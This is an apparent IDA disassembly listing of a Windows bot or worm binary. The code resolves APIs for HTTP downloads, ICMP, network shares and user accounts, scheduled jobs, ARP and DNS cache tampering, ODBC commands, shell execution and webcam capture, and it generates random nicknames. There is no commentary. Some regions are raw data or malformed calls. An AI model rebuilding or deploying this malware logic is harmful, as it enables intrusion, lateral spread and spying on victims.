		cmp	dword_4CB6A4, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB66C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB62C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB680, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB67C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6E8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB634, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB668, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6D8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E8
		cmp	eax, ebx
		jnz	short loc_40A2F2
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DD:				; CODE XREF: sub_409B13+51Fj
		nop
		call	near ptr 26908E1h
		mov	dword_4CB738, eax


loc_40A2E8:				; CODE XREF: sub_409B13+6BEj
					; sub_409B13+6CAj ...
		mov	dword_4CB734, 1


loc_40A2F2:				; CODE XREF: sub_409B13+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F7
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB61C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB558, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		cmp	dword_4CB590, ebx
		mov	ecx, dword_4CB5EC
		mov	dword_4CB688, eax
		jz	short loc_40A3D3
		cmp	dword_4CB518, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB61C, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB628, ebx
		jz	short loc_40A3D3
		cmp	ecx, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB558, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB550, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB560, ebx
		jz	short loc_40A3D3
		cmp	eax, ebx
		jnz	short loc_40A3DD


loc_40A3D3:				; CODE XREF: sub_409B13+87Ej
					; sub_409B13+886j ...
		mov	dword_4CB73C, 1


loc_40A3DD:				; CODE XREF: sub_409B13+8BEj
		cmp	ecx, ebx
		jz	short loc_40A412
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB604, eax
		jnz	short loc_40A412
		jmp	short loc_40A40C
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409B13+7EAj
		call	near ptr 26908E1h
		nop
		mov	dword_4CB740, eax
		mov	dword_4CB73C, 1


loc_40A40C:				; CODE XREF: sub_409B13+8E2j
		mov	dword_4CB604, ebx


loc_40A412:				; CODE XREF: sub_409B13+8CCj
					; sub_409B13+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45C
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB70C, eax
		call	esi
		cmp	dword_4CB5DC, ebx
		mov	dword_4CB56C, eax
		jz	short loc_40A467
		cmp	dword_4CB70C, ebx
		jz	short loc_40A467
		cmp	eax, ebx
		jnz	short loc_40A471
		jmp	short loc_40A467
; ---------------------------------------------------------------------------


loc_40A45C:				; CODE XREF: sub_409B13+90Aj
		nop
		call	near ptr 26908E1h
		mov	dword_4CB748, eax


loc_40A467:				; CODE XREF: sub_409B13+939j
					; sub_409B13+941j ...
		mov	dword_4CB744, 1


loc_40A471:				; CODE XREF: sub_409B13+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A578
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB580, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB52C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		cmp	dword_4CB548, ebx
		mov	dword_4CB588, eax
		jz	short loc_40A583
		cmp	dword_4CB520, ebx
		jz	short loc_40A583
		cmp	dword_4CB598, ebx
		jz	short loc_40A583
		cmp	dword_4CB5CC, ebx
		jz	short loc_40A583
		cmp	dword_4CB6E4, ebx
		jz	short loc_40A583
		cmp	dword_4CB580, ebx
		jz	short loc_40A583
		cmp	dword_4CB52C, ebx
		jz	short loc_40A583
		cmp	dword_4CB51C, ebx
		jz	short loc_40A583
		cmp	dword_4CB5B4, ebx
		jz	short loc_40A583
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A583
		cmp	dword_4CB664, ebx
		jnz	short loc_40A58D
		jmp	short loc_40A583
; ---------------------------------------------------------------------------


loc_40A578:				; CODE XREF: sub_409B13+969j
		call	near ptr 26908E1h
		nop
		mov	dword_4CB750, eax


loc_40A583:				; CODE XREF: sub_409B13+A11j
					; sub_409B13+A19j ...
		mov	dword_4CB74C, 1


loc_40A58D:				; CODE XREF: sub_409B13+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		cmp	dword_4CB570, ebx
		mov	dword_4CB64C, eax
		jz	short loc_40A5CD
		cmp	eax, ebx
		jnz	short loc_40A5D7
		jmp	short loc_40A5CD
; ---------------------------------------------------------------------------


loc_40A5C2:				; CODE XREF: sub_409B13+A85j
		nop
		call	near ptr 26908E1h
		mov	dword_4CB758, eax


loc_40A5CD:				; CODE XREF: sub_409B13+AA7j
					; sub_409B13+AADj
		mov	dword_4CB754, 1


loc_40A5D7:				; CODE XREF: sub_409B13+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB6CC, eax
		jz	short loc_40A617
		cmp	eax, ebx
		jnz	short loc_40A621
		jmp	short loc_40A617
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_409B13+ACFj
		nop
		call	near ptr 26908E1h
		mov	dword_4CB760, eax


loc_40A617:				; CODE XREF: sub_409B13+AF1j
					; sub_409B13+AF7j
		mov	dword_4CB75C, 1


loc_40A621:				; CODE XREF: sub_409B13+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A680
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6FC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6F4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB6BC, eax
		call	esi
		cmp	dword_4CB6FC, ebx
		mov	dword_4CB58C, eax
		jz	short loc_40A68B
		cmp	dword_4CB6F4, ebx
		jz	short loc_40A68B
		cmp	dword_4CB6BC, ebx
		jz	short loc_40A68B
		cmp	eax, ebx
		jnz	short loc_40A695
		jmp	short loc_40A68B
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_409B13+B19j
		nop
		call	near ptr 26908E1h
		mov	dword_4CB768, eax


loc_40A68B:				; CODE XREF: sub_409B13+B55j
					; sub_409B13+B5Dj ...
		mov	dword_4CB764, 1


loc_40A695:				; CODE XREF: sub_409B13+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6CA
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		cmp	dword_4CB5C0, ebx
		mov	dword_4CB6C8, eax
		jz	short loc_40A6D5
		cmp	eax, ebx
		jnz	short loc_40A6DF
		jmp	short loc_40A6D5
; ---------------------------------------------------------------------------


loc_40A6CA:				; CODE XREF: sub_409B13+B8Dj
		nop
		call	near ptr 26908E1h
		mov	dword_4CB770, eax


loc_40A6D5:				; CODE XREF: sub_409B13+BAFj
					; sub_409B13+BB5j
		mov	dword_4CB76C, 1


loc_40A6DF:				; CODE XREF: sub_409B13+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A768
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB690, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		cmp	dword_4CB690, ebx
		mov	dword_4CB5E0, eax
		jz	short loc_40A773
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A773
		cmp	dword_4CB618, ebx
		jz	short loc_40A773
		cmp	dword_4CB5D0, ebx
		jz	short loc_40A773
		cmp	dword_4CB670, ebx
		jz	short loc_40A773
		cmp	eax, ebx
		jnz	short loc_40A77D
		jmp	short loc_40A773
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409B13+BD7j
		nop
		call	near ptr 26908E1h
		mov	dword_4CB778, eax


loc_40A773:				; CODE XREF: sub_409B13+C2Dj
					; sub_409B13+C35j ...
		mov	dword_4CB774, 1


loc_40A77D:				; CODE XREF: sub_409B13+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B2
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		cmp	dword_4CB5A4, ebx
		mov	dword_4CB684, eax
		jz	short loc_40A7BD
		cmp	eax, ebx
		jnz	short loc_40A7C7
		jmp	short loc_40A7BD
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_409B13+C75j
		nop
		call	near ptr 26908E1h
		mov	dword_4CB780, eax


loc_40A7BD:				; CODE XREF: sub_409B13+C97j
					; sub_409B13+C9Dj
		mov	dword_4CB77C, 1


loc_40A7C7:				; CODE XREF: sub_409B13+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CF	proc near		; CODE XREF: sub_401ACD+2537p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB714, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A817
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A817:				; CODE XREF: sub_40A7CF+1Aj
		cmp	dword_4CB71C, esi
		jz	short loc_40A84B
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A84B:				; CODE XREF: sub_40A7CF+4Ej
		cmp	dword_4CB724, esi
		jz	short loc_40A87F
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A87F:				; CODE XREF: sub_40A7CF+82j
		cmp	dword_4CB72C, esi
		jz	short loc_40A8B3
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8B3:				; CODE XREF: sub_40A7CF+B6j
		cmp	dword_4CB734, esi
		jz	short loc_40A8E7
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8E7:				; CODE XREF: sub_40A7CF+EAj
		cmp	dword_4CB73C, esi
		jz	short loc_40A91B
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A91B:				; CODE XREF: sub_40A7CF+11Ej
		cmp	dword_4CB744, esi
		jz	short loc_40A94F
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A94F:				; CODE XREF: sub_40A7CF+152j
		cmp	dword_4CB74C, esi
		jz	short loc_40A983
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A983:				; CODE XREF: sub_40A7CF+186j
		cmp	dword_4CB754, esi
		jz	short loc_40A9B7
		push	dword_4CB758
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9B7:				; CODE XREF: sub_40A7CF+1BAj
		cmp	dword_4CB75C, esi
		jz	short loc_40A9EB
		push	dword_4CB760
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9EB:				; CODE XREF: sub_40A7CF+1EEj
		cmp	dword_4CB764, esi
		jz	short loc_40AA1F
		push	dword_4CB768
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA1F:				; CODE XREF: sub_40A7CF+222j
		cmp	dword_4CB76C, esi
		jz	short loc_40AA53
		push	dword_4CB770
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA53:				; CODE XREF: sub_40A7CF+256j
		cmp	dword_4CB774, esi
		jz	short loc_40AA87
		push	dword_4CB778
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA87:				; CODE XREF: sub_40A7CF+28Aj
		cmp	dword_4CB77C, esi
		jz	short loc_40AABB
		push	dword_4CB780
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AABB:				; CODE XREF: sub_40A7CF+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42DA2C
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE8
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40AAE8:				; CODE XREF: sub_40A7CF+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C96p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB22
		push	[esp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jnz	short loc_40AB1B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1B:				; CODE XREF: sub_40AAFA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB22:				; CODE XREF: sub_40AAFA+Dj
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB23	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB570
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB31
		call	ecx

locret_40AB31:				; CODE XREF: sub_40AB23+Aj
		retn
sub_40AB23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB32	proc near		; CODE XREF: sub_401ACD:loc_403F5Ep

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6D0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF8
		sub	ecx, 32h
		jz	loc_40ABF1
		sub	ecx, 48h
		jz	short loc_40AB92
		sub	ecx, 6Eh
		jz	short loc_40AB8B


loc_40AB74:				; CODE XREF: sub_40AB32+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC40
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD2
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AB32+40j
		push	offset unk_42DC1C
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40AB92:				; CODE XREF: sub_40AB32+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6D0
		cmp	eax, edi
		jz	short loc_40ABF8
		jmp	short loc_40AB74
; ---------------------------------------------------------------------------


loc_40ABBF:				; CODE XREF: sub_40AB32+79j
		push	offset unk_42DBEC


loc_40ABC4:				; CODE XREF: sub_40AB32+5Ej
					; sub_40AB32+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD2:				; CODE XREF: sub_40AB32+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB32+C8j
					; sub_40AB32+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF1:				; CODE XREF: sub_40AB32+32j
		push	offset unk_42DBBC
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB32+29j
					; sub_40AB32+89j
		cmp	[esi], edi
		jbe	short loc_40ABE2
		lea	ebx, [esi+4]


loc_40ABFF:				; CODE XREF: sub_40AB32+DAj
		push	ebx
		call	dword_4CB6CC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFF
		jmp	short loc_40ABE2
sub_40AB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_401ACD+2248p
					; sub_401ACD+2399p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB784
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC69	proc near		; CODE XREF: sub_412B09+24Cp
					; sub_412B09+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC92
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC85:				; CODE XREF: sub_40AC69+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC85
		pop	edi
		jmp	short loc_40AC96
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC69+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC96:				; CODE XREF: sub_40AC69+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ACA0
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ACA0:				; CODE XREF: sub_40AC69+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC69	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB6	proc near		; CODE XREF: sub_40B08E+49p
					; DATA XREF: ___:off_42DC88o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26A0871h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCF0[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1E


loc_40ACF8:				; CODE XREF: sub_40ACB6+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB64
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF8


loc_40AD1E:				; CODE XREF: sub_40ACB6+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB6	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 46E89057h, 5002295Bh, 10BA7E8h, 247C8B00h, 2404C710h
		dd 429140h, 42D01868h, 571C6A00h, 10C37E8h, 83F63300h
		dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
		dd 685752F9h, 42BB64h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
		dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD81	proc near		; CODE XREF: sub_401ACD+69CDp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26A0871h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC4


loc_40ADAE:				; CODE XREF: sub_40AD81+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAE


loc_40ADC4:				; CODE XREF: sub_40AD81+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD81	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26A0871h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431948
		push	eax
		push	esi
		nop
		call	near ptr 26D0000h
